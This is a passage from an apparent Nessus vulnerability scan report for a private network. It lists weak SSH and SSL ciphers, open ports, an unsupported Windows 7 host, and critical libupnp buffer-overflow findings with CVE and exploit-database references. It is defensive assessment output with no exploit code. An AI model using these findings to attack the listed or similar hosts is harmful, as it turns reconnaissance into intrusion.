    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.20		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.20		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.20		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		64394		CVE-2012-5961		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		86420						None		192.168.0.20		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:AD:6C
										None								10/16/15		5/13/20

		64394		CVE-2012-5962		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5963		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5964		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5965		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		108797				10		Critical		192.168.0.31		tcp		0		Unsupported Windows OS (remote)		The remote OS or service pack is no longer supported.		The remote version of Microsoft Windows is either missing a service pack
or is no longer supported. As a result, it is likely to contain security
vulnerabilities.		Upgrade to a supported service pack or operating system		https://support.microsoft.com/en-us/lifecycle		
The following Windows version is installed and not supported:

Microsoft Windows 7 Professional
				9.8						Critical				IAVA:0001-A-0501				4/3/18		9/22/20

		110723						None		192.168.0.20		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.20		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.25		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.25		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.25 : 
192.168.0.35
192.168.0.25

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.25		tcp		8009		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Common Name: 02396355-86f2-724c-b621-a89625b919e3

Issuer Name: 

Common Name: 02396355-86f2-724c-b621-a89625b919e3

Serial Number: 0D 12 4D 32 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Nov 04 16:40:10 2020 GMT
Not Valid After: Nov 06 16:40:10 2020 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 BA 7E 67 7A F2 B6 BD 2C 9A DC E1 27 AE 6A 37 BA FC 89 9A 
            87 EE 73 66 1E 26 81 EB 44 CA 17 8E 12 54 A4 50 49 08 FB E6 
            2F 1B 45 55 27 28 76 BD D6 B6 21 94 30 83 3E D8 18 C8 87 F9 
            39 4F 14 32 07 41 B4 4A 12 7E 51 3F 2B B2 65 8C EC BA 05 50 
            15 53 C1 69 47 52 72 C6 77 A2 8A C4 0A FC 67 00 D3 76 AC 8A 
            8B 5A 64 91 14 65 13 9D E2 2D DB 48 5F 91 55 FE 38 1B 51 8B 
            6D 8A A8 0C 08 20 BB 7E 18 30 86 D0 7B CC D0 5E 3C E7 A8 CB 
            28 86 5D 2D 30 C8 A6 EE B4 E0 F4 5F E5 E4 6A BB 8A 0B B3 EE 
            32 EC 87 FD AB 92 63 5D 67 27 6D 34 7A 2B AD 45 06 96 EC 6C 
            A6 43 18 1F 7C 74 52 D9 54 98 B5 D3 54 20 ED 32 E1 D3 92 3E 
            3A 16 E5 7A 7D 30 10 D1 0F D4 7B 19 D1 65 39 64 DB DF A4 3B 
            BA 42 91 16 4E 2C D2 0C C2 B3 F3 38 B9 B5 76 9E CA B4 6F 54 
            DB 85 90 1D 86 8F ED AD 64 AD 8B DA 77 8F C8 BB 57 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 53 9A 58 9C 9E 72 7C 84 60 E6 2C 57 87 C4 07 1F 42 99 F3 
           D2 36 1E 87 1A 03 4B 5B 2A 42 06 BF 7A 0F 40 DC 74 B3 54 4E 
           3B 59 CC 6D 28 BB A3 E1 E5 72 1D 35 3F 4B B7 97 CC 4B 4D 2B 
           9A 18 4E 64 88 BB DE 7F B9 89 32 46 AE 48 0C B4 3F 6B 06 11 
           22 A6 CC 17 2C 80 E1 29 04 0F D1 02 42 17 FB 66 45 AA 47 04 
           07 F0 7B F6 DF EF 59 B5 56 B8 01 1C 9C 57 3F C4 FA 85 AB FC 
           C5 A7 B6 4C 59 91 C1 EB 4C 4B 19 05 28 C1 F3 65 9C B1 58 0E 
           B8 5E A9 2A 25 D2 52 30 36 3A 04 45 B3 EB 91 9F 89 00 C6 8B 
           9A 33 2D 7C 97 B7 AF BA CD 63 F5 A0 6B 53 47 EB 3F 81 A9 D7 
           84 AC BE E7 F7 E0 D8 34 35 09 AF 87 67 2C DA 16 13 6D 05 32 
           32 5A E3 8E 7E 36 B8 5A 02 C7 62 CC D7 B7 BF 2F 83 31 36 20 
           F6 13 13 01 B0 5A 9E DD 92 76 58 F8 49 2D 9B 0E C9 0C 79 E7 
           94 EF 37 69 F7 C8 B0 AB 54 72 C2 74 DE 6C 70 8A 39 

Fingerprints : 

SHA-256 Fingerprint: DC 9B B9 C1 E3 5D BA 7D 39 43 28 13 32 61 B9 A0 DE 94 87 B0 
                     C7 75 3D 8D 84 DA B7 EA 49 04 23 81 
SHA-1 Fingerprint: FD 3E 0C 9B A7 36 68 06 FC 68 F7 A4 6D EA 9E D8 8E 5E 39 3F 
MD5 Fingerprint: 4F 8E 5C C5 34 D1 8F 44 D4 C9 46 BE 56 BF 2E 14 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		10863						None		192.168.0.25		tcp		8443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
State/Province: California
Locality: Mountain View
Organization: Google Inc
Organization Unit: Cast
Common Name: AD49ZTW FA8FCA646C20

Issuer Name: 

Country: US
State/Province: California
Locality: Mountain View
Organization: Google Inc
Organization Unit: Cast
Common Name: Chromecast ICA 12

Serial Number: 41 44 34 39 5A 54 57 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Aug 29 04:35:09 2018 GMT
Not Valid After: Aug 24 04:35:09 2038 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 84 D2 5A B5 EA 0C 02 07 8E 4C CF 43 51 1A DE 02 15 56 65 
            CD 45 4E B5 0A 65 8C 5F 7C 0C 5C DB 50 1B 5B 70 BF A0 9B 21 
            5C 0B E4 02 46 FC 15 E3 E6 DB FF FB FD 00 B9 56 0D 17 A2 8B 
            9E B4 BA 6B 13 8B C4 8E 67 8F D0 53 F9 EE 17 77 64 1E 4E 79 
            E2 D7 84 AA 3C 3A 21 7F A8 24 6E E2 82 85 C8 CF D7 6B 0C 0A 
            42 38 0D 0A 59 4C A2 DB 14 23 F7 0E 7E C2 68 09 A9 DA E7 90 
            82 BB BC 2E C8 51 9C 99 D0 AB 70 27 E9 15 23 21 07 69 23 E7 
            4E 6E 37 9B BC 9C 53 15 D9 C4 5F E3 2B DF 90 6F EF 79 C2 02 
            9E 5C 9E F2 ED 18 0D C3 A3 C7 4B 01 BD 7B A3 E5 A6 01 D1 E9 
            68 68 F5 CA 40 19 31 C2 FF 1D 05 76 FD 09 20 03 25 C9 FB 9F 
            A1 BD 44 15 B7 3A 53 7B AD 3B 9B 12 28 56 CF 51 F5 D9 41 1E 
            2F B8 21 2C EB 97 2A A6 E7 67 CF B2 79 B3 25 6C 43 D6 B8 40 
            D1 52 40 21 A8 76 C5 FD 63 50 F3 42 3C F7 BA A9 33 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 9A EA F6 67 87 F3 1D 67 94 D3 AA 5F 83 ED EF E4 3B C7 E9 
           49 FE EA A2 41 D2 3D E3 C0 8C D2 D1 73 60 32 55 67 22 9B 2E 
           26 58 3F 64 55 33 86 EC 9E EE 70 8F CB 75 87 52 FA B8 F1 A4 
           2F 8E 0A E6 28 09 C6 9D 7B 44 0F FE 71 6D D1 F5 E9 B6 BE 57 
           BA 78 3E A2 7D 00 0E C3 3C 49 1D 4D 59 13 AE A4 B7 B8 C6 C9 
           E9 1B 2B FE 03 85 44 B2 1D CD 98 66 5C 3B C8 DF E0 00 31 D4 
           79 54 30 BC BB D8 75 65 A9 8F 07 DD 64 3E 26 86 B9 80 CC FF 
           98 32 73 4E 64 E7 C9 F2 4A 8A 35 B8 D3 4F C3 2D C3 57 C5 74 
           B6 32 5B C8 53 AC 0A 04 38 DC 8C 20 03 96 B0 8F 88 14 E4 A8 
           71 1E 02 A2 ED 11 6B A4 72 76 BB E8 6C BA 63 3C AD 44 7D 7C 
           9C 4D D5 9E D2 E5 BB A3 82 87 CC 49 DC 1F 3A A4 0A B0 78 B1 
           66 7A 5F 65 42 05 27 0A 4F 34 64 6D 50 BC 91 8C 78 09 63 24 
           E3 96 61 30 E3 A1 52 65 16 E6 28 4C 6A 3B 82 52 C0 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Fingerprints : 

SHA-256 Fingerprint: 9F E1 62 18 9D CD 3F 66 05 2D 40 61 1B 95 83 61 12 04 09 CC 
                     52 D6 EF 65 59 37 E8 F7 52 18 43 E9 
SHA-1 Fingerprint: AC 22 B2 37 39 14 70 64 B5 96 98 9A E2 E2 DA 2E 53 E5 81 17 
MD5 Fingerprint: 59 8F FA 78 64 B4 E0 2A 90 2B 37 2C A6 3E F0 10 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11154						None		192.168.0.25		tcp		9000		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 9000
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

		11154						None		192.168.0.25		tcp		10001		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 10001
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

		11154						None		192.168.0.25		tcp		10101		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 10101
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

		11219						None		192.168.0.25		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		8009		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8009/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		8443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8443/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		9000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		10001		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 10001/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		10101		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
